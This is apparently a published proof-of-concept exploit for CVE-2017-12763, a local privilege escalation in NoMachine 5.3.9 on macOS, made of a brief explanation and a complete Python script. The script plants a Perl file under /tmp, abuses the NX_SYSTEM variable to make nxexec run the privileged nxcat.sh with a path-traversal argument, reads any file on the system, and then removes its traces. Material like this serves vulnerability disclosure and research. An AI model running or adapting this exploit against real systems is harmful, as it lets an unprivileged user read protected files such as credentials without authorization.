NoMachine 5.3.9 - Local Privilege Escalation

"""
# Exploit Title: NoMachine LPE - Local Privilege Escalation
# Date:  09/08/2017
# Exploit Author: Daniele Linguaglossa
# Vendor Homepage: https://www.nomachine.com
# Software Link: https://www.nomachine.com
# Version: 5.3.9
# Tested on: OSX
# CVE : CVE-2017-12763

NoMachine uses a file called nxexec in order to execute different action as super user, nxexec allow to execute
sh files within a sandboxed path, additionally other checks such as parent process name, parent process path are
performed in order to be sure only NoMachine application are allowed to execute nxexec.
nxnode.bin allow to spoof a local path via NX_SYSTEM environment variable, this is use to craft a path where a perl
file will be executed, this PoC exploit the NX_SYSTEM variable in order to allow a custom perl file to call nxexec
and execute privileged nxcat.sh script in order to read any file on filesystem.
"""

import os
import sys

print "[!] NoMachine - EoP - Read any file by @dzonerzy"
if len(sys.argv) == 4:
    nxnode = sys.argv[1]
    nxexec = sys.argv[2]
    toread = sys.argv[3]
    user = os.environ.get("USER")
    tmp_path = "/tmp/lib/perl/nxnode"
    tmp_file = "/tmp/lib/perl/nxnode/nxnode.pl"
    tmp_file_content = "print \"[*] Exploiting vulnerability\\n\";" \
                       "system(\"{0} " \
                       "nxcat.sh 1 {1} 2 '../../../../../..{2}'\");".format(nxexec, user, toread)
    print "[*] Crafting tmp environment"
    os.system("mkdir -p {0}".format(tmp_path))
    with open(tmp_file,"w") as tmp:
        tmp.write(tmp_file_content)
        tmp.close()
    os.system("NX_SYSTEM=/tmp {0}".format(nxnode))
    os.unlink(tmp_file)
    os.system("rm -r /tmp/lib")
else:
    print "Usage: {0} <path of nxnode.bin> <path of nxexec> <file to read>".format(sys.argv[0])